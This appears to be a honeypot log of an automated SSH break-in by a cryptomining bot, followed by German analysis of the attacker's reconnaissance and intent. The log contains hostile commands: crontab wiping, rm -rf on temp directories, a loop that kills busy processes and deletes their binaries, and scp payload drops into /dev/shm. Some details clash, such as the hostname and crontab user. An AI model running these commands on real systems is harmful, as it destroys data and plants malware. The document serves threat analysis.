10.10.2026, 05:57 UTC · 31 Befehle · über ssh · Niederlande
user='debian-spamd' pass='000000' debian-spamd@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 debian-spamd@srv01:~$ uname -m | awk '{printf $1}' x86_64 debian-spamd@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 261 days, 00:00 debian-spamd@srv01:~$ lspci | egrep VGA && lspci | grep 3D 01:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 01:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) debian-spamd@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7443P 24-Core Processor debian-spamd@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. debian-spamd@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 4 debian-spamd@srv01:~$ nvidia-smi -q | grep "Product Name" Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 debian-spamd@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 debian-spamd@srv01:~$ uname -n | awk '{printf $1}' ml-node2 debian-spamd@srv01:~$ uname -r | awk '{printf $1}' 5.15.0-88-generic debian-spamd@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… crontab: no crontab for Admin rm: cannot remove '/var/tmp/.': Permission denied rm: cannot remove '/var/tmp/..': Permission denied rm: cannot remove '/tmp/.': Permission denied rm: cannot remove '/tmp/..': Permission denied debian-spamd@srv01:~$ echo 000000 > /tmp/d.log debian-spamd@srv01:~$ scp -qt "/var/tmp/slsVoQwQ" debian-spamd@srv01:~$ scp -qt "/tmp/slsVoQwQ" debian-spamd@srv01:~$ scp -qt "/dev/shm/slsVoQwQ" debian-spamd@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 debian-spamd@srv01:~$ echo admin123 > /tmp/d.log debian-spamd@srv01:~$ scp -qt "/var/tmp/iSxdODvx" debian-spamd@srv01:~$ scp -qt "/tmp/iSxdODvx" debian-spamd@srv01:~$ scp -qt "/dev/shm/iSxdODvx" debian-spamd@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 debian-spamd@srv01:~$ echo raspberry > /tmp/d.log debian-spamd@srv01:~$ scp -qt "/var/tmp/QpqBkRPc" debian-spamd@srv01:~$ scp -qt "/tmp/QpqBkRPc" debian-spamd@srv01:~$ scp -qt "/dev/shm/QpqBkRPc" debian-spamd@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 debian-spamd@srv01:~$ echo 123123 > /tmp/d.log debian-spamd@srv01:~$ scp -qt "/var/tmp/ZLADqgFT" debian-spamd@srv01:~$ scp -qt "/tmp/ZLADqgFT" debian-spamd@srv01:~$ scp -qt "/dev/shm/ZLADqgFT"
Der Angreifer meldete sich mit schwachen Zugangsdaten über SSH an und führte eine Reihe von Systemabfragen durch, um die Hardwarekonfiguration zu prüfen. Anschließend versuchte er, Dateien in verschiedene temporäre Verzeichnisse zu kopieren, während er gleichzeitig mehrere Passwörter testete. Die Sitzung endete mit weiteren Kopierbefehlen, nachdem die Hardware als geeignet eingestuft wurde.
Die Befehle uname, lspci und nvidia-smi dienen der Identifikation von Betriebssystem, CPU und Grafikkarten, um die Mining-Fähigkeit zu bewerten. Der Befehl crontab -r löscht geplante Aufgaben, während rm -rf temporäre Dateien entfernt, um Spuren zu verwischen. Der awk-Befehl identifiziert Prozesse mit hoher CPU-Last und beendet sie gewaltsam, um Rechenleistung für den Miner freizumachen. Die scp-Befehle versuchen, Dateien in versteckte oder flüchtige Speicherorte wie /dev/shm zu kopieren, was typisch für das Einschleusen von Schadsoftware ist.
Das Ziel ist sehr wahrscheinlich Kryptomining, da der Angreifer gezielt nach NVIDIA-Grafikkarten suchte und diese als vorhanden bestätigte. Die Löschung von Prozessen mit hoher CPU-Auslastung dient dazu, konkurrierende Ressourcen freizumachen. Das wiederholte Testen von Passwörtern deutet auf eine automatisierte Botnet-Infektion hin, die weitere Rechner kompromittieren soll.
Dieses Muster ist extrem verbreitet und folgt einem standardisierten Skript für automatisierte Mining-Bots. Die Kombination aus Hardware-Scan, Prozessbereinigung und Dateiablage ist charakteristisch für bekannte Malware-Familien, die auf GPU-Ressourcen abzielen.